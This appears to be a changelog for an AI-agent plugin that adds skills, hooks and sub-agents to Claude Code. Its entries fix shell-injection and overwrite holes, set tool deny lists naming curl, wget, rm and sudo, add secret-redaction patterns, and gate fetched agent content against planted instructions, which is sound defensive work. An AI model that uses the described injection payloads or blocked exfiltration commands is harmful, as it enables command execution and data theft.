• Gap closed — neither AGENTS.md's security model section, security-check/SKILL.md, hooks-setup/SKILL.md, nor README.md mentioned either setting, both introduced in the same v2.1.169 release. --safe-mode disables ALL Claude Code customizations (CLAUDE.md, plugins, skills, hooks, MCP servers) — since iEvo is plugin-installed, every iEvo skill, hook, and sub-agent goes silently absent, with no warning that security coverage is off. disableBundledSkills only hides Claude Code's own bundled skills/workflows/built-ins; iEvo plugin skills are unaffected — an operator could otherwise reasonably assume the two settings behave the same way, in either direction.
• AGENTS.md — added two severity-ordered bullets to the security model section, before the existing CLAUDE_CODE_SUBAGENT_MODEL bullet: --safe-mode/CLAUDE_CODE_SAFE_MODE (total bypass, most severe) and disableBundledSkills/CLAUDE_CODE_DISABLE_BUNDLED_SKILLS (contrast — does not disable iEvo).
• security-check/SKILL.md — added a safe-mode caveat near the top of the skill body: the skill, the security-auditor sub-agent, and its disallowed-tools constraints are all inactive in safe mode.
• hooks-setup/SKILL.md — added a safe-mode note near the top of the skill body: hooks configured by this skill don't fire in safe mode, so completion notifications silently won't trigger; also added a v2.1.169 citation to the References section.
• README.md — added a new "Known configuration gotcha" subsection mirroring the AGENTS.md bullets in human-readable form, closing #190's README acceptance criterion.
• Scope — documentation-only; no script changes, no coverage impact. Confined to AGENTS.md, README.md, plugins/ievo/skills/security-check/SKILL.md, plugins/ievo/skills/hooks-setup/SKILL.md.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

---

v0.60.0

Self-register iEvo's own marketplace/plugin entry into .claude/settings.json during /ievo:init so teammates get iEvo bootstrapped on git pull, and document the equivalent Codex limitation — closes #436.

• Gap closed — /ievo:init already bootstraps every discovered third-party candidate into .claude/settings.json (extraKnownMarketplaces + enabledPlugins, Step 9b) so teammates auto-receive it, but never registered iEvo itself the same way. A teammate cloning a project that already had iEvo installed had no equivalent auto-install path — only a manual /plugin install on every machine.
• Fix (Claude Code) — new init/SKILL.md Step 2.2 idempotently merges extraKnownMarketplaces.ievo-skills (source ievo-ai/skills) and enabledPlugins["ievo@ievo-skills"] into .claude/settings.json, using the same merge-not-overwrite JSON shape already documented in install-protocol.md § 9b. Gated on plugin-mode only (Step 0a's existing hard-stop on an unreadable ${CLAUDE_PLUGIN_ROOT}/.claude-plugin/plugin.json already proves this by the time Step 2.2 runs, so a vendored git clone copy is naturally skipped — no new detection needed) and skipped entirely on Codex. No autoUpdate key by default, matching Claude Code's own third-party-marketplace default and the issue's explicit "must remain an explicit user choice" constraint.
• Codex — documented as a new Step 2.3: project-level .codex/config.toml [plugins.*].enabled entries are silently ignored upstream today (confirmed open, openai/codex#18115), so no project-level write happens; the final summary (Step 12) now tells a Codex user this once. .codex-plugin/marketplace.json's policy.installation (AVAILABLE) is intentionally left unchanged — that onboarding-posture call was explicitly deferred to the operator during triage, out of scope for this issue.
• Scope — confined to plugins/ievo/skills/init/SKILL.md (new Steps 2.2/2.3, Step 12 Codex-conditional summary line) and README.md (documents the new team-bootstrap behavior); prompt/instruction-only, no script changes.
• Version — bump per AGENTS.md rules (feat: → minor); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION (all three coupled to plugin.json via their own test assertions), plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

---

v0.59.0

Reorder all 19 SKILL.md descriptions to lead with trigger-intent framing ("Use this skill when...") instead of implementation-first prose, so runtimes that load only the opening tokens still see the invocation trigger — closes #205.

• Gap closed — every description: field in plugins/ievo/skills/*/SKILL.md opened with implementation-oriented language (what the skill does) rather than trigger-intent framing (when to invoke it). Per agentskills.io's skill-creation guidance, agent runtimes often load only the opening tokens of a description at startup, so burying the trigger condition after several sentences of implementation detail hurts discoverability. vuln-scan/SKILL.md had no "Use when" clause at all.
• Fix — reordered every description to start with "Use this skill when <trigger condition>." followed by the existing implementation detail, preserving all prior content. Scope grew from the issue's original count of 14 to the repo's current 19 skill directories (confirmed via ls plugins/ievo/skills/) at implementation time.
• Sibling disambiguation — per the operator's pre-approval scope addendum, added a one-clause mutual negative to the four ambiguous sibling pairs: security-check↔vuln-scan, hooks-setup↔init, inspect↔overlay-status, deep-review↔security-check (e.g. security-check: "not for scanning your own project's source code — use /ievo:vuln-scan for that").
• Validation — every rewritten description stays ≤1024 chars per the agentskills.io spec; node plugins/ievo/scripts/validate_skills.mjs passes 19/19 with 0 errors, 0 warnings.
• Version — bump per AGENTS.md rules (feat: → minor); marketplace.json, plugin.json, discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION (all three coupled to plugin.json via their own test assertions), and the AGENTS.md compliance ledger updated in lockstep.

---

v0.58.1

Make scan_repo.mjs's output-file naming injective and add an owner_repo identity field to the persisted manifest entry — closes #401.

• Gap closed — main() derived its output artifact names as safeName = args.repo.replace(/\//g, "-") (CWE-706), used verbatim for mdPath, jsonPath, and manifestEntry.index_file. Because OWNER_REPO_RE permits internal hyphens in both the owner and repo segments, this flattening is not injective: foo-bar/baz and foo/bar-baz both flatten to the identical foo-bar-baz. When the centralized indexing workflow (or /ievo:index-repos) scans multiple repos into the same --output-dir, an attacker could register a repo whose slug is chosen to collide with a trusted, already-indexed repo, and have their scan silently overwrite the victim's published indices/<flat>.md/.json community-index artifacts. The persisted .json carried no owner_repo field at all, so a downstream aggregator keyed purely by filename had no way to detect the substitution. This is the identical bug class already fixed for the checkout-cache directory in v0.51.5 (#382); that fix's own changelog explicitly noted the output-file naming was a separate, unaddressed gap.
• Fix — main() now derives safeName via the existing checkoutCacheKey(ownerRepo) helper (added in v0.51.5) instead of the bare flattening, so mdPath, jsonPath, and manifestEntry.index_file are keyed on ${flat}-${sha256(ownerRepo).slice(0,12)} — two slugs that collide on the flat prefix now get distinct output files. manifestEntry also gains an owner_repo field (mirroring the in-memory data object, which already carried it) so a downstream consumer keyed by filename can independently verify the entry's claimed identity.
• Scope — confined to plugins/ievo/scripts/scan_repo.mjs and its 100%-coverage test suite, plus prose references to the old bare <owner>-<repo>.md/.json naming in index-repos/SKILL.md, init/SKILL.md, init/references/log-format.md, and agents/repo-indexer.md, updated to describe the hash-suffixed layout — same scope shape as the #382 fix. No migration for existing flat-named artifacts; they simply age out on next scan (same as the #382 precedent's checkout-dir orphaning note).
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. scan_repo.mjs's own SCRIPT_VERSION (scanner output-format version, intentionally decoupled from plugin.json) bumps 1.1.5 → 1.1.6 — unlike the #382 fix, this one does change the persisted .md/.json artifact shape (filename + the new owner_repo field).

---

v0.58.0

Add capability-overlap and stack-relevance filters to /ievo:init's recommendation step — closes #427, mechanizing 4 real rejection reasons from a live run reported in #314.

• Capability-overlap filter (Step 7a) — two concrete rules run against the installed inventory (static pass) and again live against candidates already accepted this run (Step 7b, since that state only exists once the interview is underway): O1 demotes a tool-specific candidate (e.g. ruff-recursive-fix) already covered by an installed/accepted item (python-code-style); O2 demotes a domain generalist (e.g. python-pro) once ≥3 same-domain specialists are already installed/accepted. Demoted candidates are never silently dropped — they collect in overlap_tail[] and surface as one batched AskUserQuestion after the individual interview, mirroring Step 8a's YELLOW security batch. A user installing a demoted candidate anyway is recorded in filter_override[].
• Stack-relevance filter (Step 7a) — a new packaging category (previously falling into the catch-all other bucket with zero gating) is gated by a published/internal-only sub-type resolved in Step 4.5 from repo signals (publish/release CI, registry metadata, explicit private markers). internal-only drops the candidate silently-but-logged; genuinely ambiguous signal asks ONE question for the whole category ("Is this project published anywhere?") instead of one decline per packaging candidate.
• Visibility + feedback loop — every drop/demotion carries a one-line reason, logged in run-log sections 6b and 7b (new subsections: dropped-stack-irrelevant, demoted-to-tail, overlap-tail decision, filter-overrides). Step 13's feedback invite now folds in filter drops/demotions/overrides, and flags filter_override[] entries to the feedback flow as a distinct signal from an ordinary skip (the filter rule was wrong for that case).
• Scope — confined to plugins/ievo/skills/init/SKILL.md and its references/reference-tables.md (new packaging category row) + references/log-format.md (new log subsections); prompt/instruction-only, no script changes.
• Version — bump per AGENTS.md rules (feat: → minor); discover.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

---

v0.57.0

Consolidate six verified hook-surface deltas into hooks-setup/SKILL.md (Claude Code v2.1.152–v2.1.195 + Codex) — closes #429, folding in #239 (same delta, filed separately and not part of #429's original consolidation list).

• CC v2.1.152 — References-section note for the new MessageDisplay hook event and /reload-skills command (neither configured by this skill); Step 5.7 gains a bullet on SessionStart's new reloadSkills/hookSpecificOutput.sessionTitle return fields (unused by the version-check nudge, noted for anyone extending it).
• CC v2.1.163 — new Step 5.5.5 documents Stop/SubagentStop hooks' optional hookSpecificOutput.additionalContext return value, with a one-line JSON example and a stdout-ordering caveat against the existing <notify-cmd> choices. Folds in #239's ask: also notes the field applies to SubagentStop, which security-check's own per-skill Stop hook converts to inside a parallel security-auditor dispatch.
• CC v2.1.183 — References-section note on auto mode blocking destructive git/infra-destroy commands. Verified against the hooks reference during this build: the block applies to the agent's own Bash tool calls via the auto-mode classifier, not to hook-subprocess execution — this skill's generated scripts run as host subprocesses and are unaffected; it does matter for a hook whose additionalContext recommends the model run one of the blocked commands next, since that recommendation becomes a normal tool call.
• CC v2.1.195 — audit note added after Step 5.6's matcher table confirming none of this skill's own matchers (agent_needs_input/agent_completed, startup) are hyphenated, so the new exact-match semantics change nothing functionally here; compatibility field and References gain the citation.
• New ## Codex hooks section (mirrors the existing ## Cursor hooks pointer-plus-references/ pattern) — SubagentStart/SubagentStop (added PRs #22782/#22873, first carried together in the stable rust-v0.133.0) and the rust-v0.141.0 PostToolUse code-mode blocking fix, documented in new references/codex-hooks.md — config scopes, event schemas, exit-code semantics, a worked SubagentStop example. Corrects one premise from the original research: verified against current Codex docs, TurnStartedEvent/trace_id (rust-v0.134.0) is an app-server protocol event, not part of the hook system — documented as explicitly out of scope rather than folded in as a hook.
• Scope — confined to plugins/ievo/skills/hooks-setup/SKILL.md and its new references/codex-hooks.md; documentation only, no script or test changes.
• Version — bump per AGENTS.md rules (feat: → minor); discover.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

---

v0.56.0

Wire opt-in tool-failure capture (PostToolUseFailure/PermissionDenied → scrubbed evolution candidates) into evo-auto-enable/evo-auto-disable — closes #424 (part 2/2 of #422; part 1 added scrub.mjs in v0.55.0/#423).

• evo-auto-enable — Step 2 now asks (AskUserQuestion) whether to also capture tool failures/denials, writing signal: corrections-only (default) or signal: corrections+failures into .ievo/evo-auto.flag; a pre-existing flag with no signal: line, or any other value, is treated as corrections-only. New Step 3.6 generates .ievo/hooks/scripts/failure-capture.sh and wires it under BOTH hooks.PostToolUseFailure[] and hooks.PermissionDenied[] in .claude/settings.json (no matcher — the script self-gates on flag + signal, same pattern as the existing UserPromptSubmit hook). Unlike the correction-capture hook, this one needs no agent judgment: the script itself extracts hook_event_name/tool_name/tool_input (+ the doc-confirmed tool_error field, falling back to error/reason in case of a naming discrepancy across Claude Code versions) via jq, builds a compact one-line {event,tool,outcome,detail} record, pipes it through scrub.mjs, and appends it via evolution_candidates.mjs append --scope tool-failure --text-file <fixed-path> (zero accumulator changes — --scope already existed; dedup on (scope,text) bounds repeat noise). Emits no stdout/additionalContext (nothing actionable mid-failure). Fail-closed for content: a scrub failure, or scrub.mjs being unavailable, drops the record — a raw/unscrubbed record must never reach disk, even transiently.
• Path-resolution rule, applied to every generated hook script (not just the new one) — evo-auto-enable Step 3.5.1 now vendors evolution_candidates.mjs + scrub.mjs into the project-local, non-versioned, relative path .ievo/hooks/scripts/vendor/ at enable/re-enable time. Every generated script (correction-capture.sh, evo-analysis-nudge.sh, the new failure-capture.sh) prefers a live CLAUDE_PLUGIN_ROOT at hook-fire time and falls back to this vendored copy — never a CLAUDE_PLUGIN_ROOT-derived absolute path baked in at setup time, which would point into the versioned plugin cache (~/.claude/plugins/cache/...) and go stale on the very next plugin update (orphaned cache dirs purge ~14 days later), with the scripts' own fail-silent contracts hiding the resulting silent death. This closes the drift class #422 found dead in the wild.
• evo-auto-disable — removes the PostToolUseFailure/PermissionDenied hook entries, failure-capture.sh, and the vendored fallback copy directory (.ievo/hooks/scripts/vendor/), alongside the existing two hooks/scripts. Non-destructive: .ievo/evolution-candidates/ is left untouched, same as before.
• SessionStart nudge — extended to mention that pending candidates may carry scope: tool-failure and to apply a failure-then-fixed-vs-noise judgment before folding one in (a failure later resolved toward the same goal is learnable; a failure inside normal iteration is noise). Already used the correct /ievo:evo skill name (no stale /ievo:evolution reference found in the current SKILL.md text to fix).
• Uncapturable subclass, documented not chased — input-validation failures (e.g. an Edit string-not-found) fire no hook event in current Claude Code; out of scope, same as PermissionDenied being best-effort (could not be synthesized in headless probes upstream).
• Scope — confined to plugins/ievo/skills/evo-auto-enable/SKILL.md and plugins/ievo/skills/evo-auto-disable/SKILL.md. No accumulator or scrub.mjs code changes — both are reused exactly as shipped in v0.45.0/v0.55.0. No new .mjs script, so no coverage-gate delta.
• Version — bump per AGENTS.md rules (feat: → minor); discover.mjs, evolution_candidates.mjs, and scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

---

v0.55.0

Add scrub.mjs — a pure stdin→stdout privacy scrub for the upcoming evo-auto failure-capture hook — closes #423 (part 1/2 of #422; part 2 wires the hook itself in a follow-up PR).

• Added — plugins/ievo/scripts/scrub.mjs. Every captured PostToolUseFailure/PermissionDenied record part 2 writes to .ievo/evolution-candidates/<session-id>.jsonl will be piped through this script first, since the tool output a record is built from is untrusted and may embed anything the failing command printed (including a live secret or a local username). In order: (1) redacts provider-shaped secret values anywhere in the text — GitHub classic/app tokens (ghp_/gho_/ghu_/ghs_/ghr_), GitHub fine-grained PATs (github_pat_), OpenAI-style keys (sk-), Slack tokens (xox[abprs]-), AWS access key ids (AKIA), and JWTs; (2) redacts assignment VALUES for secret-shaped NAMES (*_TOKEN/*_KEY/*_SECRET/*_PASSWORD/*_ID, plus bare PASSWORD/SECRET/TOKEN/APIKEY/API_KEY) in NAME=value/NAME: value/quoted forms, keeping the name and redacting only the value; (3) rewrites $HOME-absolute paths to ~-relative; (4) caps output at 500 Unicode code points (code-point-aware, like the sibling truncate() in scan_repo.mjs) with a …[truncated] marker — deliberately LAST, so a secret whose span crosses the truncation cutoff is fully redacted before truncation could slice through it and leave a raw fragment.
• Contract — never writes a file; on any internal error while running as a CLI (unreadable stdin, an unexpected throw from scrub()) it emits nothing to stdout and exits 0 — fail-closed for content, fail-open for the pipeline, so a scrub failure can never abort the observer hook piping through it.
• Tests — plugins/ievo/scripts/tests/scrub.test.mjs, 100/100/100 coverage following the isCliEntry/injected-io pattern from evolution_candidates.mjs: pure per-rule unit tests, composite-ordering tests (secret-crossing-truncation-boundary, $HOME rewrite + redaction combined), injected-throw tests for the fail-closed CLI contract, and a subprocess suite covering the real stdin/stdout defaults and the module-scope entry guard.
• Scope — confined to plugins/ievo/scripts/scrub.mjs, its test file, and .github/scripts/check-coverage.mjs (added to REQUIRED). No changes to the evo-auto hook wiring itself — that's part 2 of #422, tracked separately.
• Version — bump per AGENTS.md rules (feat: → minor); discover.mjs, evolution_candidates.mjs, and the new scrub.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

---

v0.54.13

Migrate evolution.md, vuln-scanner.md, and deep-reviewer.md off the scoped Bash(rm*)-style disallowedTools shape that #400 proved strips the entire Bash tool by base tool name — closes #405.

• Gap closed — all three agents carried the same Bash(rm*)/Bash(mv*)/Bash(cp*)/Bash(curl*)/Bash(wget*)/Bash(sudo*)/Bash(chmod*) denylist shape security-auditor.md had pre-#400. Per #400's differential probe on Claude Code v2.1.217, a command-scoped entry is applied by its base tool name — silently stripping the ENTIRE Bash tool from any agent that declares it. evolution.md (Step 2's documented git clone/gh api vendoring recipe) and vuln-scanner.md (declared Bash in tools: with no documented use for it) were both affected; deep-reviewer.md declares no Bash grant at all, so its copy of the entries was inert rather than breaking — misleading, not functionally harmful.
• Fix, evolution.md — bare-name disallowedTools: [WebSearch] (Bash stays granted — Step 2's fetch recipe needs it), plus a new "Bash command allowlist (closed set)" body section binding Bash to the exact six command templates that recipe already documents (two gh api metadata reads, mktemp -d, shallow git clone/fetch/checkout) — the same #400 pattern security-auditor.md uses, since evolution.md's own legitimate recipe happens to be identical in shape.
• Fix, vuln-scanner.md — dropped the Bash grant from tools: entirely instead of adding an allowlist. Independent verification (this agent's history back to its original commit) found no step in this file, vuln-scan/SKILL.md, or the vuln-scan.md orchestrator ever documented a Bash invocation for the sub-agent itself — its whole job (read module files, reason over CWEs, emit JSON) runs on Read/Glob/Grep; the pipeline's one real shell use (git diff/gh pr diff scope resolution) belongs to the orchestrator's own main-session tools, dispatched before this agent ever runs. A closed allowlist over a grant with zero legitimate use would be allowlist theater, not defense in depth — mirroring the #416/repo-indexer.md precedent of fitting the corrected pattern to the agent's actual need rather than copying a sibling's broken shape. disallowedTools is now bare-name [Edit, Write, WebSearch] (belt-and-suspenders against a future tools: widening).
• Fix, deep-reviewer.md — removed the inert scoped entries outright (no Bash grant exists to strip); disallowedTools is now bare-name [Edit, Write, WebSearch].
• Docs — AGENTS.md § Security model rewritten to describe the now-uniform corrected pattern across all five plugin agents, and to explicitly flag the SKILL-layer half (security-check/vuln-scan/deep-review SKILL.md's own scoped disallowed-tools entries) as still unverified rather than assuming either semantics — a live differential probe from inside an agent that still needs its own Write/Edit for the rest of its run risks self-inflicted tool loss for a headless session (per #405's own discovery comment), so this PR deliberately did not attempt one.
• Scope — confined to the three agent files plus the AGENTS.md security-model paragraph. security-auditor.md (#400) and repo-indexer.md (#371) are unchanged; the SKILL-layer disallowed-tools entries are unchanged pending a dedicated, isolated verification.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

---

v0.54.12

Stop scan_repo.mjs from hardcoding license: "MIT" for any repo that merely has a LICENSE file, regardless of its actual content — closes #413.

• Gap closed — licenseFileExists (a pure file-presence check across LICENSE/LICENSE.md/LICENSE.txt) fed directly into license: licenseFileExists ? "MIT" : null — the file's content was never read, so a GPL, proprietary, or any other non-MIT LICENSE file was misreported as MIT in the generated .md index. This flows straight into the public community index consumed by anyone deciding whether it's safe to install, fork, or redistribute a scanned skill/agent/plugin, and directly contradicted AGENTS.md's own "structural facts only" security model (CWE-345).
• Fix — report the honest, content-unverified structural fact instead of a specific (and potentially false) SPDX identifier: license-file-present (unverified) when a LICENSE file exists, null when none does. No SPDX text-matching heuristics added — deliberately out of scope per the accepted recommendation, since content-based detection carries its own false-positive risk and this repo's security model prefers structural facts over guesses.
• Tests — added a main() end-to-end case asserting a LICENSE file whose content is literally the string "MIT" still renders the honest fallback (not "MIT" itself, proving content is genuinely never read), plus a case with an actual GPL-3 LICENSE file proving it never surfaces as any specific SPDX identifier. Coverage gate stays 100/100/100 on scan_repo.mjs.
• Scope — confined to plugins/ievo/scripts/scan_repo.mjs and its test file. scan_repo.mjs's own scanner-format SCRIPT_VERSION bumps 1.1.4 → 1.1.5 since this changes the generated .md output content, mirroring the v0.51.1/v0.51.2 precedent.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

---

v0.54.11

Coerce non-string truthy JSON fields to a string in scan_repo.mjs's truncate() instead of throwing an uncaught TypeError — closes #412.

• Gap closed — truncate()'s if (!text) return ""; guard only filtered falsy values (null/undefined/""/0/false); any truthy non-string JSON value (a number, array, object, or true) passed the guard and then hit .replace(), which doesn't exist on those types. Three call sites feed it attacker-controlled JSON straight from a scanned repo's manifest files with no upstream type validation — manifest.description from .claude-plugin/plugin.json, cmd from hooks/hooks.json, and url/config.command from .mcp.json — so a crafted plugin.json setting e.g. "description": 123 crashed the scan before either output artifact was written, aborting that repo's scan (and any multi-repo batch looping over it) with no .md/.json index entry produced (CWE-20).
• Fix — truncate()'s guard now explicitly checks for the empty cases (null/undefined/"") and coerces with String(), mirroring the sibling escapeMdCell()'s already-hardened pattern (and its "preserves a literal 0" precedent) — every call site is protected without touching the call sites themselves.
• Tests — added coverage for coercing non-string truthy input (number, boolean, array, object) instead of throwing, and for preserving a literal 0 as meaningful rather than treating it as absent, mirroring escapeMdCell()'s existing test pairs. Coverage gate stays 100/100/100 on scan_repo.mjs.
• Scope — confined to truncate() and its test file; scan_repo.mjs's own scanner-format SCRIPT_VERSION is unchanged (1.1.4) since this is a robustness fix (crash → success on a previously-crashing edge case), not a change to the generated .md/.json artifact's shape, mirroring the #382 precedent rather than #377's.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

---

v0.54.10

Strip C0 control characters from parsed agent/skill frontmatter values before they can reach a CI log or terminal — closes #378.

• Gap closed — parseFrontmatter() in both validate_agents.mjs and validate_skills.mjs only stripped surrounding quotes from a parsed value; a raw ESC byte (or other C0 control character) in a crafted model:/effort:/name frontmatter value survived untouched into checkModelField()/checkEffortField()'s violation messages, which main() prints verbatim to stdout — an ANSI/control-sequence injection reachable by any PR touching plugins/ievo/agents/*.md or plugins/ievo/skills/*/SKILL.md, since both .pre-commit-config.yaml and pre-commit-gate.yml run these validators against PR-controlled content (CWE-150).
• Fix — both parseFrontmatter() functions now strip C0 control characters (and DEL) from every parsed value immediately after quote-stripping, mirroring scan_repo.mjs's escapeMdCell control-char strip. Tab/LF/CR are excluded from the strip set (same as escapeMdCell) so a legitimate multi-line block-scalar body keeps its real line breaks.
• Tests — added coverage in both validate_agents.test.mjs and validate_skills.test.mjs for stripping a raw ESC byte and other C0 controls from plain scalar values, and for preserving newlines while stripping controls from a block-scalar body. Coverage gate stays 100/100/100 on both files.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

---

v0.54.9

Gate evolution.md's (and evo/SKILL.md's inline fallback) vendor step behind a security-auditor re-audit before freshly-fetched plugin content ever touches .claude/agents//.claude/skills/ — closes #357.

• Gap closed — Step 2 ("Ensure target file exists locally") fetched a plugin-bundled agent/skill's content and wrote it straight into the project's trusted execution directory, with no security-auditor gate anywhere in the flow — unlike update.md's Step 2.5, the established precedent for the structurally identical refresh operation. Unaudited, potentially adversarial instructions (including self-declared tools:/disallowedTools: frontmatter) could land in a trusted directory and execute unreviewed on the next dispatch.
• Not a literal mirror of update.md's Step 2.5 — that pattern (Task(subagent_type="security-auditor", ...) + AskUserQuestion on YELLOW/RED) runs in update.md's main-session context, which has both tools. evolution.md is a Task-dispatched sub-agent; verified against Claude Code's subagent docs (2026-07-23), AskUserQuestion is unconditionally withheld from every Task-dispatched sub-agent, and Agent/Task is withheld unless the operator has opted into nested spawning (CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH, off by default) — so it can do neither.
• Fix, evolution.md — new Step 2.5: the ievo:security-check skill is preloaded into the agent's own context via skills: subagent frontmatter (same technique vuln-scanner.md already uses for ievo:vuln-scan), and the agent applies its threat-detection methodology directly to the content already fetched in Step 2 — no nested dispatch needed. GREEN proceeds to write silently. YELLOW/RED auto-skips the vendor entirely (no "apply anyway" override, since there's no tool to offer one) and aborts the capture — no overlay write, no marker injection — surfacing the flagged verdict in the Step 5 report for manual review instead.
• Fix, evo/SKILL.md — the identical unguarded vendor step existed inline (used when the evolution sub-agent isn't dispatched), flagged by the issue's own Risk note. This path runs in the main session, so it can mirror update.md's Step 2.5 literally (Task(subagent_type="security-auditor", ...) + AskUserQuestion, with the same no-interactive-session auto-skip fallback) on Claude Code/Codex — with a further degrade to applying security-check's methodology directly (same technique as evolution.md) on any other agentskills.io platform lacking a Task/sub-agent concept.
• Docs — AGENTS.md § Security model's "Per-install only" claim (cited as accurate-but-now-stale by the issue's own analysis) updated to list all three re-audit gates (/ievo:init install, /ievo:update refresh, /ievo:evo/evolution.md vendor).
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

---

v0.54.8

Add a disallowedTools defense-in-depth denylist to repo-indexer.md, the one iEvo sub-agent that lacked one despite unrestricted Bash+Write access — closes #371.

• Gap closed — repo-indexer.md held Bash/Read/Write/Glob with no secondary self-enforced control, the sole outlier among the plugin's five sub-agents (security-auditor.md, deep-reviewer.md, vuln-scanner.md, evolution.md all already had one). If its Bash execution is ever hijacked — via a still-open injection vector or any other future one — nothing at the agent-frontmatter layer blocks a WebSearch-based exfiltration call.
• Corrected pattern, not the literal sibling copy — the issue proposed mirroring the exact disallowedTools block on evolution.md/deep-reviewer.md/vuln-scanner.md (scoped Bash(rm*)/Bash(mv*)/Bash(cp*)/Bash(curl*)/Bash(wget*)/Bash(sudo*)/Bash(chmod*) entries). That pattern was proven broken by #400 (2026-07-22, after this issue was filed): a command-scoped Bash(prefix*) entry is applied by its base tool name on Claude Code v2.1.217, silently stripping the ENTIRE Bash tool rather than just the scoped command — and repo-indexer.md, then with no disallowedTools block, was the empirical control that proved it (cited by name in AGENTS.md § Security model). Applying the issue's literal proposal would have disabled this agent's only Bash invocation (scan_repo.mjs), breaking its entire function. Migrating the three sibling agents still carrying the broken pattern off it is tracked separately in #405 — out of this issue's single-file scope.
• Fix — added the already-established #400-corrected pattern instead: a bare-name-only disallowedTools: [Edit, WebSearch] (the two tools not already granted, denied so a future tools: widening can't silently add mutation/exfil capability), plus a new "Bash command allowlist (closed set)" body section binding the agent's Bash surface to the single, already-validated scan_repo.mjs invocation template from Step 2 — mirroring security-auditor.md's post-#400 six-template allowlist, scaled down to repo-indexer.md's one legitimate command.
• Docs — AGENTS.md § Security model updated: repo-indexer.md added alongside security-auditor.md as using the corrected pattern, the WebSearch-denial tally corrected from four agents to five, and a note added that #371 intentionally used the #400 pattern rather than the sibling agents' broken one.
• Scope — confined to plugins/ievo/agents/repo-indexer.md and AGENTS.md. No functional capability lost — the agent's only Bash usage (invoking scan_repo.mjs) is unaffected; validate_agents.mjs does not constrain disallowedTools shape, so it passes unchanged.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

---

v0.54.7

Validate <owner>/<repo> in repo-indexer.md before it is interpolated into a Bash node invocation — closes #361.

• Gap closed — repo-indexer.md Step 1 built a literal Bash command interpolating a caller-supplied <owner>/<repo> string with no validation instruction anywhere in the file, the same CWE-78 shape already fixed at four sibling call sites (security-check/SKILL.md, inspect/SKILL.md, evo/SKILL.md, and most recently index-repos/SKILL.md in #359/v0.54.1). scan_repo.mjs's own OWNER_REPO_RE/isValidOwnerRepo() guard runs too late to help — it only protects the script's internal execFileSync git calls, not the outer shell invocation that already evaluated the payload before node ever started. /ievo:init dispatches repo-indexer sub-agents with repo values sourced from discover.mjs's candidates[].source_repo, itself pulled from the public, externally-writable skills.sh API / a marketplace catalog entry — an attacker-crafted slug with shell metacharacters (e.g. backticks, $(...), ;) would be shell-interpreted the moment the agent built and ran the Bash command line.
• Fix — added a new Step 1 ("Validate <repo>") immediately before the Bash invocation (now Step 2): check repo against ^[A-Za-z0-9](?:[A-Za-z0-9-]{0,38})/[A-Za-z0-9._-]{1,100}$ (matching scan_repo.mjs's own OWNER_REPO_RE constant), refuse and return FAILED: <repo> — invalid owner/repo format on failure instead of interpolating. Added a matching Rules-section entry mirroring index-repos/SKILL.md's equivalent rule.
• Scope — confined to plugins/ievo/agents/repo-indexer.md. This was flagged as an out-of-scope sibling gap by PR #359's own description and by a /ievo:vuln-scan dogfooding run (eva#165), which filed this issue as the recommended follow-up.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

---

v0.54.6

Guard feedback/SKILL.md's derived issue title against shell interpolation, extending the body-file protection to the title — closes #372.

• Gap closed — the feedback flow already wrote the issue body to a file and passed it via gh issue create --body-file (literal bytes, no shell expansion), but the title — which is likewise derived from user-verbatim feedback text, not a fixed string — was still documented as an inline --title "<title>" Bash argument. A crafted feedback title containing $(...), backticks, ;, or && would be parsed by the shell before gh ever saw it, a command-injection surface (CWE-78) that mirrored the exact hole the body-file pattern was introduced to close. gh issue create has no --title-file flag, so the body's file-path approach could not be applied verbatim.
• Fix — the title is now written to its own feedback-title-<timestamp>.md via the Write tool (Step A1, literal bytes, no shell), then read back in Step B with TITLE=$(cat "$TITLE_FILE") and passed as --title "$TITLE" — always double-quoted, at both gh issue create call sites (the labelled attempt and the label-drop fallback). A double-quoted variable reference substitutes the stored bytes verbatim without re-invoking the shell parser on them, so embedded $(...)/backticks/;/&& in the title cannot execute. Prose, the audit-trail note, and the shared-timestamp instruction are updated to cover the new title file.
• Scope — confined to plugins/ievo/skills/feedback/SKILL.md. The sibling gap flagged in init/SKILL.md Step 8b is left as a follow-up per the review.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep.

---

v0.54.5

